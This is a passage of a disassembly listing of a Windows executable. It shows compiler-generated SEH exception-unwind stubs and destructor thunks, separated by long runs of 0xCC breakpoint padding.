sub_437AB8 SEH_4291E0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CC88: ; DATA XREF: ___:00442D6Co mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429450 proc near ; DATA XREF: sub_429450+2o mov eax, offset dword_442D40 jmp sub_437AB8 SEH_429450 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014BA ; --------------------------------------------------------------------------- lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CDB2: ; DATA XREF: ___:004295B8o mov eax, offset dword_442D80 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o mov eax, offset dword_442E68 jmp sub_437AB8 SEH_42ACB0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o mov eax, offset dword_442E98 jmp sub_437AB8 SEH_42AD90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o mov eax, offset dword_442EC8 jmp sub_437AB8 SEH_42AFF0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B380 proc near ; DATA XREF: sub_42B380+2o mov eax, offset dword_442EF8 jmp sub_437AB8 SEH_42B380 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B440 proc near ; DATA XREF: sub_42B440+8o mov eax, offset dword_442F28 jmp sub_437AB8 SEH_42B440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o mov eax, offset dword_442F58 jmp sub_437AB8 SEH_42C1B0 endp ; --------------------------------------------------------------------------- align 10h loc_43CEB0: ; DATA XREF: ___:0042C2C5o mov eax, offset dword_442FB8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CEC8: ; DATA XREF: ___:00443044o lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443018 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443058 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF28: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443088 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430B8 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443118 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443148 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0A4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443288 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D10B: ; DATA XREF: ___:004432ECo lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D116: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_4432F8 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443328 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443360 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 